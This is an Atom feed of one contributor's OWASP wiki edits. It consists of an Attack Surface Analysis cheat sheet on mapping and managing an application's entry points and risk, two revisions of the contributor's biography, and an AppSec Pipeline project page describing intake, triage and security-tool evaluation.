<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
		<id>https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Jim+Bird</id>
		<title>OWASP - User contributions [en]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Jim+Bird"/>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php/Special:Contributions/Jim_Bird"/>
		<updated>2026-05-17T14:22:21Z</updated>
		<subtitle>User contributions</subtitle>
		<generator>MediaWiki 1.27.2</generator>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Attack_Surface_Analysis_Cheat_Sheet&amp;diff=235523</id>
		<title>Attack Surface Analysis Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Attack_Surface_Analysis_Cheat_Sheet&amp;diff=235523"/>
				<updated>2017-11-16T16:39:09Z</updated>
		
		<summary type="html">&lt;p&gt;Jim Bird: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
= What is Attack Surface Analysis and Why is it Important? =&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
&lt;br /&gt;
This article describes a simple and pragmatic way of doing Attack Surface Analysis and managing an application's Attack Surface. It is targeted to be used by developers to understand and manage application security risks as they design and change an application, as well as by application security specialists doing a security risk assessment. The focus here is on protecting an application from external attack - it does not take into account attacks on the users or operators of the system (e.g. malware injection, social engineering attacks), and there is less focus on insider threats, although the principles remain the same. The internal attack surface is likely to be different to the external attack surface and some users may have a lot of access.&lt;br /&gt;
&lt;br /&gt;
Attack Surface Analysis is about mapping out what parts of a system need to be reviewed and tested for security vulnerabilities. The point of Attack Surface Analysis is to understand the risk areas in an application, to make developers and security specialists aware of what parts of the application are open to attack, to find ways of minimizing this, and to notice when and how the Attack Surface changes and what this means from a risk perspective.&lt;br /&gt;
&lt;br /&gt;
Attack Surface Analysis is usually done by security architects and pen testers. But developers should understand and monitor the Attack Surface as they design and build and change a system.&lt;br /&gt;
&lt;br /&gt;
Attack Surface Analysis helps you to:&lt;br /&gt;
# identify what functions and what parts of the system you need to review/test for security vulnerabilities&lt;br /&gt;
# identify high risk areas of code that require defense-in-depth protection - what parts of the system that you need to defend&lt;br /&gt;
# identify when you have changed the attack surface and need to do some kind of threat assessment&lt;br /&gt;
&lt;br /&gt;
= Defining the Attack Surface of an Application =&lt;br /&gt;
&lt;br /&gt;
The Attack Surface describes all of the different points where an attacker could get into a system, and where they could get data out.&lt;br /&gt;
&lt;br /&gt;
The Attack Surface of an application is:&lt;br /&gt;
# the sum of all paths for data/commands into and out of the application, and &lt;br /&gt;
# the code that protects these paths (including resource connection and authentication, authorization, activity logging, data validation and encoding), and &lt;br /&gt;
# all valuable data used in the application, including secrets and keys, intellectual property, critical business data, personal data and PII, and &lt;br /&gt;
# the code that protects these data (including encryption and checksums, access auditing, and data integrity and operational security controls).&lt;br /&gt;
&lt;br /&gt;
You overlay this model with the different types of users - roles, privilege levels - that can access the system (whether authorized or not). Complexity increases with the number of different types of users. But it is important to focus especially on the two extremes: unauthenticated, anonymous users and highly privileged admin users (e.g. database administrators, system administrators). &lt;br /&gt;
&lt;br /&gt;
Group each type of attack point into buckets based on risk (external-facing or internal-facing), purpose, implementation, design and technology. You can then count the number of attack points of each type, then choose some cases for each type, and focus your review/assessment on those cases.&lt;br /&gt;
&lt;br /&gt;
With this approach, you don't need to understand every endpoint in order to understand the Attack Surface and the potential risk profile of a system. Instead, you can count the different general type of endpoints and the number of points of each type. With this you can budget what it will take to assess risk at scale, and you can tell when the risk profile of an application has significantly changed.&lt;br /&gt;
&lt;br /&gt;
= Identifying and Mapping the Attack Surface =&lt;br /&gt;
&lt;br /&gt;
You can start building a baseline description of the Attack Surface in a picture and notes. Spend a few hours reviewing design and architecture documents from an attacker's perspective. Read through the source code and identify different points of entry/exit:&lt;br /&gt;
* User interface (UI) forms and fields&lt;br /&gt;
* HTTP headers and cookies&lt;br /&gt;
* APIs&lt;br /&gt;
* Files&lt;br /&gt;
* Databases&lt;br /&gt;
* Other local storage&lt;br /&gt;
* Email or other kinds of messages&lt;br /&gt;
* Run-time arguments&lt;br /&gt;
* …. [your points of entry/exit]&lt;br /&gt;
&lt;br /&gt;
The total number of different attack points can easily add up into the thousands or more. To make this manageable, break the model into different types based on function, design and technology:&lt;br /&gt;
* Login/authentication entry points&lt;br /&gt;
* Admin interfaces&lt;br /&gt;
* Inquiries and search functions&lt;br /&gt;
* Data entry (CRUD) forms&lt;br /&gt;
* Business workflows&lt;br /&gt;
* Transactional interfaces/APIs&lt;br /&gt;
* Operational command and monitoring interfaces/APIs&lt;br /&gt;
* Interfaces with other applications/systems&lt;br /&gt;
* ... [your types]&lt;br /&gt;
&lt;br /&gt;
You also need to identify the valuable data (e.g. confidential, sensitive, regulated) in the application, by interviewing developers and users of the system, and again by reviewing the source code. &lt;br /&gt;
&lt;br /&gt;
You can also build up a picture of the Attack Surface by scanning the application. For web apps you can use a tool like the [[OWASP_Zed_Attack_Proxy_Project]] or [http://arachni-scanner.com/ Arachni] or [http://code.google.com/p/skipfish/ Skipfish] or [http://w3af.sourceforge.net/ w3af] or one of the many commercial dynamic testing and vulnerability scanning tools or services to crawl your app and map the parts of the application that are accessible over the web.  Some web application firewalls (WAFs) may also be able to export a model of the appliaction's entry points.&lt;br /&gt;
&lt;br /&gt;
Validate and fill in your understanding of the Attack Surface by walking through some of the main use cases in the system: signing up and creating a user profile, logging in, searching for an item, placing an order, changing an order, and so on. Follow the flow of control and data through the system, see how information is validated and where it is stored, what resources are touched and what other systems are involved. There is a recursive relationship between Attack Surface Analysis and [[Application Threat Modeling]]: changes to the Attack Surface should trigger threat modeling, and threat modeling helps you to understand the Attack Surface of the application.&lt;br /&gt;
&lt;br /&gt;
The Attack Surface model may be rough and incomplete to start, especially if you haven’t done any security work on the application before. Fill in the holes as you dig deeper in a security analysis, or as you work more with the application and realize that your understanding of the Attack Surface has improved.&lt;br /&gt;
&lt;br /&gt;
= Measuring and Assessing the Attack Surface =&lt;br /&gt;
&lt;br /&gt;
Once you have a map of the Attack Surface, identify the high risk areas. Focus on remote entry points – interfaces with outside systems and to the Internet – and especially where the system allows anonymous, public access. &lt;br /&gt;
* Network-facing, especially internet-facing code&lt;br /&gt;
* Web forms&lt;br /&gt;
* Files from outside of the network&lt;br /&gt;
* Backwards compatible interfaces with other systems – old protocols, sometimes old code and libraries, hard to maintain and test multiple versions&lt;br /&gt;
* Custom APIs – protocols etc – likely to have mistakes in design and implementation&lt;br /&gt;
* Security code: anything to do with cryptography, authentication, authorization (access control) and session management&lt;br /&gt;
&lt;br /&gt;
These are often where you are most exposed to attack. Then understand what compensating controls you have in place, operational controls like network firewalls and application firewalls, and intrusion detection or prevention systems to help protect your application.&lt;br /&gt;
&lt;br /&gt;
Michael Howard at Microsoft and other researchers have developed a method for measuring the Attack Surface of an application, and to track changes to the Attack Surface over time, called the [http://www.cs.cmu.edu/~wing/publications/Howard-Wing03.pdf Relative Attack Surface Quotient (RSQ)]. Using this method you calculate an overall attack surface score for the system, and measure this score as changes are made to the system and to how it is deployed. Researchers at Carnegie Mellon built on this work to develop a formal way to calculate an [http://www.cs.cmu.edu/~pratyus/tse10.pdf Attack Surface Metric] for large systems like SAP. They calculate the Attack Surface as the sum of all entry and exit points, channels (the different ways that clients or external systems connect to the system, including TCP/UDP ports, RPC end points, named pipes...) and untrusted data elements. Then they apply a damage potential/effort ratio to these Attack Surface elements to identify high-risk areas.&lt;br /&gt;
&lt;br /&gt;
Note that deploying multiple versions of an application, leaving features in that are no longer used just in case they may be needed in the future, or leaving old backup copies and unused code increases the Attack Surface. Source code control and robust change management/configurations practices should be used to ensure the actual deployed Attack Surface matches the theoretical one as closely as possible.&lt;br /&gt;
&lt;br /&gt;
Backups of code and data - online, and on offline media - are an important but often ignored part of a system's Attack Surface. Protecting your data and IP by writing secure software and hardening the infrastructure will all be wasted if you hand everything over to bad guys by not protecting your backups.&lt;br /&gt;
&lt;br /&gt;
= Managing the Attack Surface =&lt;br /&gt;
&lt;br /&gt;
Once you have a baseline understanding of the Attack Surface, you can use it to incrementally identify and manage risks going forward as you make changes to the application. Ask yourself:&lt;br /&gt;
* What has changed? &lt;br /&gt;
* What are you doing different? (technology, new approach, ….)&lt;br /&gt;
* What holes could you have opened?&lt;br /&gt;
&lt;br /&gt;
The first web page that you create opens up the system’s Attack Surface significantly and introduces all kinds of new risks. If you add another field to that page, or another web page like it, while technically you have made the Attack Surface bigger, you haven’t increased the risk profile of the application in a meaningful way. Each of these incremental changes is more of the same, unless you follow a new design or use a new framework.&lt;br /&gt;
&lt;br /&gt;
If you add another web page that follows the same design and using the same technology as existing web pages, it's easy to understand how much security testing and review it needs. If you add a new web services API or file that can be uploaded from the Internet, each of these changes have a different risk profile again - see if if the change fits in an existing bucket, see if the existing controls and protections apply. If you're adding something that doesn't fall into an existing bucket, this means that you have to go through a more thorough risk assessment to understand what kind of security holes you may open and what protections you need to put in place. &lt;br /&gt;
&lt;br /&gt;
Changes to session management, authentication and password management directly affect the Attack Surface and need to be reviewed. So do changes to authorization and access control logic, especially adding or changing role definitions, adding admin users or admin functions with high privileges. Similarly for changes to the code that handles encryption and secrets. Fundamental changes to how data validation is done. And major architectural changes to layering and trust relationships, or fundamental changes in technical architecture – swapping out your web server or database platform, or changing the run-time operating system. &lt;br /&gt;
&lt;br /&gt;
As you add new user types or roles or privilege levels, you do the same kind of analysis and risk assessment. Overlay the type of access across the data and functions and look for problems and inconsistencies. It's important to understand the access model for the application, whether it is positive (access is deny by default) or negative (access is allow by default). In a positive access model, any mistakes in defining what data or functions are permitted to a new user type or role are easy to see. In a negative access model,you have to be much more careful to ensure that a user does not get access to data/functions that they should not be permitted to.&lt;br /&gt;
&lt;br /&gt;
This kind of threat or risk assessment can be done periodically, or as a part of design work in serial / phased / spiral / waterfall development projects, or continuously and incrementally in Agile / iterative development.&lt;br /&gt;
&lt;br /&gt;
Normally, an application's Attack Surface will increase over time as you add more interfaces and user types and integrate with other systems. You also want to look for ways to reduce the size of the Attack Surface when you can by simplifying the model (reducing the number of user levels for example or not storing confidential data that you don't absolutely have to), turning off features and interfaces that aren't being used, by introducing operational controls such as a Web Application Firewall (WAF) and real-time application-specific attack detection.&lt;br /&gt;
&lt;br /&gt;
= Related Articles =&lt;br /&gt;
&lt;br /&gt;
OWASP CLASP Identifying the Attack Surface: [[Identify attack surface]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
OWASP Principles Minimize Attack Surface area: [[Minimize attack surface area]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Mitigate Security Risks by Minimizing the Code You Expose to Untrusted Users, Michael Howard http://msdn.microsoft.com/en-us/magazine/cc163882.aspx&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors =&lt;br /&gt;
&lt;br /&gt;
Jim Bird - jim.bird[at]owasp.org&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Jim Manico - jim[at]owasp.org&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Jim Bird</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User:Jim_Bird&amp;diff=235522</id>
		<title>User:Jim Bird</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User:Jim_Bird&amp;diff=235522"/>
				<updated>2017-11-16T16:33:20Z</updated>
		
		<summary type="html">&lt;p&gt;Jim Bird: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Jim Bird is an experienced software development manager and project manager, with more than 25 years of experience in software engineering, IT integration and application operations. Jim is currently a co-founder and the CTO of of a New York-based Alternative Trading System (ATS) for secure and confidential institutional stock trading. As CTO, Jim is responsible for the company's technology strategy and information security programs, as well as managing the company's software development organization.&lt;br /&gt;
&lt;br /&gt;
Prior to this, Jim worked as a senior consultant to IBM's global financial markets practice, and as a management consultant to stock exchanges and banks globally, including the Deutsche Borse, the Australian Stock Exchange, the Italian Banking Association, the Saudi Arabian Central Bank, and the Korea Exchange. For more than 10 years, he was the CTO of a financial technology company (now part of NASDAQ OMX) that developed and implemented IT solutions for stock exchanges, clearing houses and banks in more than 30 countries around the world.  &lt;br /&gt;
&lt;br /&gt;
Jim has been involved with OWASP and SANS for several years, focusing on the &amp;quot;Builder&amp;quot; side of AppSec. He blogs regularly about secure software development on his personal blog &amp;quot;Building Real Software&amp;quot;, and at the SANS Application Security Street Fighter Blog, which he helps to manage. Jim is the author of books on secure Agile development and secure DevOps.&lt;/div&gt;</summary>
		<author><name>Jim Bird</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User:Jim_Bird&amp;diff=235481</id>
		<title>User:Jim Bird</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User:Jim_Bird&amp;diff=235481"/>
				<updated>2017-11-15T21:00:42Z</updated>
		
		<summary type="html">&lt;p&gt;Jim Bird: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Jim Bird is an experienced software development manager and project manager, with more than 25 years of experience in software engineering, IT integration and application operations. Jim is currently a co-founder and the CTO of of a New York-based Alternative Trading System (ATS) for secure and confidential institutional stock trading. As CTO, Jim is responsible for the company's technology strategy and information security programs, as well as managing the company's software development organization.&lt;br /&gt;
&lt;br /&gt;
Prior to this, Jim worked as a senior consultant to IBM's global financial markets practice, and to stock exchanges and banks globally, including the Deutsche Borse, the Australian Stock Exchange, the Italian Banking Association, the Saudi Arabian Central Bank, and the Korea Exchange. For more than 10 years, he was the CTO of a software company (now part of NASDAQ OMX) that developed and implemented technology for stock exchanges, clearing houses and banks in more than 30 countries around the world.  &lt;br /&gt;
&lt;br /&gt;
Jim has been involved OWASP and SANS for several years on application security and secure software development. He blogs regularly about secure software development on his personal blog &amp;quot;Building Real Software&amp;quot;, and at the SANS Application Security Street Fighter Blog, which he helps to manage. Jim is the author of books on secure Agile development and secure DevOps.&lt;/div&gt;</summary>
		<author><name>Jim Bird</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_AppSec_Pipeline&amp;diff=203590</id>
		<title>OWASP AppSec Pipeline</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_AppSec_Pipeline&amp;diff=203590"/>
				<updated>2015-11-19T18:45:03Z</updated>
		
		<summary type="html">&lt;p&gt;Jim Bird: Fixed some typos&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Main=&lt;br /&gt;
&amp;lt;!-- DO NOT ALTER OR REMOVE THE TEXT ON NEXT LINE --&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:OWASP_Project_Header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- DO NOT ALTER OR REMOVE THE TEXT ON NEXT LINE --&amp;gt;&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
==The OWASP AppSec Rugged DevOps Pipeline Project==&lt;br /&gt;
&lt;br /&gt;
The OWASP AppSec Rugged DevOps Pipeline Project is the place to find the information you need to increase the speed and automation of your AppSec program.  Using the documentation and references of this project will allow you to setup your own AppSec Pipeline.&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
The AppSec pipeline project is a place to gather together information, techniques and tools to create your own AppSec Pipeline.  AppSec Pipelines takes the &lt;br /&gt;
principles of DevOps and Lean and applies that to an application security program.  The project will gather references, cheat sheets, and specific guidance for tools/software which would compose an AppSec Pipeline.&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
&lt;br /&gt;
The OWASP AppSec Pipeline Project documentation is licensed under the [http://creativecommons.org/licenses/by-sa/3.0/ Creative Commons Attribution-ShareAlike 3.0 license], so you can copy, distribute and transmit the work, and you can adapt it, and use it commercially, but all provided that you attribute the work and if you alter, transform, or build upon this work, you may distribute the resulting work only under the same or similar license to this one.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- DO NOT ALTER OR REMOVE THE TEXT ON NEXT LINE --&amp;gt;&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== What is the OWASP AppSec Pipeline Project? ==&lt;br /&gt;
&lt;br /&gt;
The AppSec Pipeline project is a place to gather together information, techniques and tools to create your own AppSec Pipeline.  &lt;br /&gt;
&lt;br /&gt;
== Project Leaders ==&lt;br /&gt;
&lt;br /&gt;
[mailto:matt.tesauro@owasp.org Matt Tesauro]&amp;lt;br /&amp;gt;&lt;br /&gt;
[mailto:aaron.weaver2@gmail.com Aaron Weaver]&amp;lt;br/&amp;gt;&lt;br /&gt;
[mailto:matt.konda@owasp.org Matt Konda]&lt;br /&gt;
&lt;br /&gt;
== Related Projects ==&lt;br /&gt;
&lt;br /&gt;
[[OWASP_Web_Testing_Environment_Project]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- DO NOT ALTER OR REMOVE THE TEXT ON NEXT LINE --&amp;gt;&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== Quick Download ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/PearsonEducation/bag-of-holding Bag of Holding]&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
&lt;br /&gt;
Catch our next presentation at [http://velocityconf.com/devops-web-performance-ny-2015/public/schedule/detail/42612 Velocity New York]&lt;br /&gt;
&lt;br /&gt;
== In Print ==&lt;br /&gt;
&lt;br /&gt;
[http://www.slideshare.net/weaveraaaron/building-an-appsec-pipeline-keeping-your-program-and-your-life-sane Building an AppSec Pipeline]&amp;lt;br /&amp;gt;&lt;br /&gt;
[http://www.slideshare.net/mtesauro/mtesauro-keynote-appseceu Taking DevOps practices into your AppSec Life]&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;200&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot; rowspan=&amp;quot;2&amp;quot;| [[File:New projects.png|100px|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-breakers-small.png|link=]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-defenders-small.png|link=]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Cc-button-y-sa-small.png|link=http://creativecommons.org/licenses/by-sa/3.0/]] &lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Project_Type_Files_DOC.jpg|link=]]&amp;lt;br /&amp;gt; &amp;lt;br /&amp;gt;[[File:Project_Type_Files_CODE.jpg|link=]]&amp;lt;br /&amp;gt; &amp;lt;br /&amp;gt;[[File:Project_Type_Files_TOOL.jpg|link=]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Pipeline Tools=&lt;br /&gt;
&lt;br /&gt;
==What are DevOp Security Pipeline Tools?==&lt;br /&gt;
DevOp security pipeline tools are written with the mindset of API first. The goal is that a security tool will expose all the core functionality of the product as an API. Tools need to have an API so that the 'All the things' can be automated. Each tool will be evaluated with the criteria outlined below including example pipeline use cases.&lt;br /&gt;
&lt;br /&gt;
==Evaluation Criteria==&lt;br /&gt;
&lt;br /&gt;
'''Application Description:''' Overview of the security tool, description and product web page.&amp;lt;br&amp;gt;&lt;br /&gt;
'''API:''' The type of API (REST, SOAP), API coverage (% of total features available via the API) and API Docs.&amp;lt;br&amp;gt;&lt;br /&gt;
'''Pipeline Position:''' Where in the AppSec pipeline the tool would be best suited to reside&amp;lt;br&amp;gt;&lt;br /&gt;
'''Cloud Scalable:''' Is the tool cloud aware and can the tool scale based on demand?&amp;lt;br&amp;gt;&lt;br /&gt;
'''Runs as a Service:''' Can the tool run as a service or in headless mode?&amp;lt;br&amp;gt;&lt;br /&gt;
'''Pipeline Example:''' Link to an example use case of the tool in the pipeline&amp;lt;br&amp;gt;&lt;br /&gt;
'''Client Libraries:''' What client libraries are written to assist in integration. For example a python or Go library.&amp;lt;br&amp;gt;&lt;br /&gt;
'''CI/CD Plugins:''' Does the tool have CI/CD plugins for integration into a DevOps pipeline. For example a Jenkins plugin.&amp;lt;br&amp;gt;&lt;br /&gt;
'''Data Sent to the Cloud:''' What kind of data, if any, is sent off premise to the cloud? Is there an option to keep all data in-house?&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Results==&lt;br /&gt;
&lt;br /&gt;
We are currently working on gathering a list of the current tools and evaluating each tool based on the criteria listed. The goal is to create a one page wiki document of the application.&lt;br /&gt;
&lt;br /&gt;
==Sample Tooling by Phase==&lt;br /&gt;
&lt;br /&gt;
[[File:DevOps_AppSec_Tool_Integration.png]]&lt;br /&gt;
&lt;br /&gt;
==Get Involved==&lt;br /&gt;
Interested in participating or having your product included in the review? Contact [mailto:aaron.weaver2@gmail.com Aaron Weaver]&lt;br /&gt;
&lt;br /&gt;
= Pipeline Design Patterns =&lt;br /&gt;
&lt;br /&gt;
==What is an AppSec Pipeline?==&lt;br /&gt;
&lt;br /&gt;
An AppSec Pipelines takes the principles of DevOps and Lean and applies that to an application security program. An AppSec pipeline is designed for iterative improvement and has the ability to grow in functionality organically over time. When starting out an AppSec Pipeline choose the area that is your greatest pain point and work on a reusable path for all the AppSec activities that follow. &lt;br /&gt;
&lt;br /&gt;
Pipelines have four distinct areas which will be covered in depth. The first is the &amp;quot;Intake process&amp;quot; or &amp;quot;first impression.&amp;quot; This is where customers request AppSec services such as dynamic, static or manual assessments from the AppSec team. The intake process consists of an application repository that a requestor will either choose from a listing of applications or provide the details of the application.  The second part is &amp;quot;triage&amp;quot; where the determination is made for applying the requested services. An application request may have an automated scan in which case a request would be made to conduct a ZAP scan. The third part is &amp;quot;test&amp;quot; which is the heart of the pipeline. It is here where all the AppSec tools are automated, results are fed into a central repository and reviewed for false positives. Finally the end of the pipeline is &amp;quot;deliver&amp;quot; where the results are distributed to the customer. This will vary by organization, however most pipelines will integrate with a defect tracker and will produce summary metrics and reporting for senior management.&lt;br /&gt;
&lt;br /&gt;
The goal of an AppSec Pipeline is to provides a consistent process from the application security team and the constituency which typically is developers, QA, product managers and senior stakeholders. Throughout the process flow each activity has well-defined states. The pipeline relies heavily on automation for repeatable tasks so that the critical resource, AppSec personnel, is optimized.&lt;br /&gt;
&lt;br /&gt;
[[File:AppSec_Pipeline_Rugged_DevOps.png|800px|thumb|left|Rugged DevOps AppSec Pipeline Template]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
===Pipeline - Intake (“First Impression”)===&lt;br /&gt;
The intake portion of the pipeline is one of the most important aspects of the pipeline. It is here where services are requested from the team. Each service request should be clearly stated and defined. For example consider grouping service requests into bundles. An application security assessment usually consists of a dynamic scan, static scan and manual review. Bundle these into one request and title it 'Application Security Assessment'.&lt;br /&gt;
&lt;br /&gt;
The pipeline request should feed into an application repository that keeps track of the metadata on the application, key contacts, prior engagements and current vulnerabilities. &lt;br /&gt;
&lt;br /&gt;
'''Application Metadata'''&amp;lt;br&amp;gt;&lt;br /&gt;
Knowing the background details about an application is an important part of carrying out a successful application assessment. By gathering this data key decisions can be automated. For example if you know that the application being assessed is a critical application, has PII and has 1 million records then you can automatically recommend and or require certain activities. These activities could include a threat model, an automated assessment with manual review.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Key fields recommended for intake are the following:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''Application General Information''':  Name, Brief Description, Business Line&amp;lt;br&amp;gt;&lt;br /&gt;
*'''Application Metadata''':  Business Criticality, Platform, LIfecycle, Origin, User Records, Revenue, External Audience, Internet Accessible&amp;lt;br&amp;gt;&lt;br /&gt;
*'''Technologies''': Coding Language, Data Store, DDoS Protection, Firewall, Framework, Hosting Provider, Operation System, Third-Party Component, Web Server&amp;lt;br&amp;gt;&lt;br /&gt;
*'''Regulations''': Examples: PCI, SOC, FERPA DPA, SOX etc.&amp;lt;br&amp;gt;&lt;br /&gt;
*'''Data Elements''': PII (First name, Last name, Email, Address, Postal Code, Social)&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Key Concepts'''&lt;br /&gt;
* Bundle application service requests instead of offering al la carte.&lt;br /&gt;
*Ask for data about applications only once&lt;br /&gt;
*Have data reviewed periodically. (A great time is when new services are requested on the application.)&lt;br /&gt;
&lt;br /&gt;
'''Recommended Tools'''&lt;br /&gt;
A complete listing of tools and review will be in the Pipeline Tools section.&lt;br /&gt;
*[https://github.com/PearsonEducation/bag-of-holding Bag of Holding ]: An application security utility to assist in the organization and prioritization of software security activities.&lt;br /&gt;
**Dashboard showing entire application portfolio and last assessment date&lt;br /&gt;
**Applications requiring assessments&lt;br /&gt;
**Managing the work load for assessments&lt;br /&gt;
**KPI's around application workload&lt;br /&gt;
**Tracking of dev team training and overall maturity&lt;br /&gt;
**Request form for dev/product managers to request an application review&lt;br /&gt;
&lt;br /&gt;
===Pipeline - Triage ===&lt;br /&gt;
* Inbound request triage&lt;br /&gt;
**Ala Carte App Sec&lt;br /&gt;
**Dynamic Testing&lt;br /&gt;
**Static Testing&lt;br /&gt;
**Re-Testing mitigated findings&lt;br /&gt;
**Mix and match based on risk &lt;br /&gt;
&lt;br /&gt;
'''Key Concepts''' &lt;br /&gt;
*Activities can be run in parallel&lt;br /&gt;
*Automation on setup, configuration, data export&lt;br /&gt;
*People focus on customization rather than setup&lt;br /&gt;
&lt;br /&gt;
===Pipeline - Test===&lt;br /&gt;
&lt;br /&gt;
===Pipeline - Deliver===&lt;br /&gt;
Source of truth for all AppSec activities&lt;br /&gt;
*Dedupe / Consolidate findings&lt;br /&gt;
*Normalize scanner data&lt;br /&gt;
*Generate Metrics&lt;br /&gt;
*Push issues to bug trackers&lt;br /&gt;
* Report and metrics automation REST + tfclient&lt;br /&gt;
*Source of many touch points with external teams&lt;br /&gt;
&lt;br /&gt;
===How do I integrate an AppSec Pipeline into my existing pipeline(s)?===&lt;br /&gt;
&lt;br /&gt;
[[File:DevOps_AppSec_Pipline_Integration.png|800px|thumb|left|Example Integration of DevOps and AppSec Pipeline]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
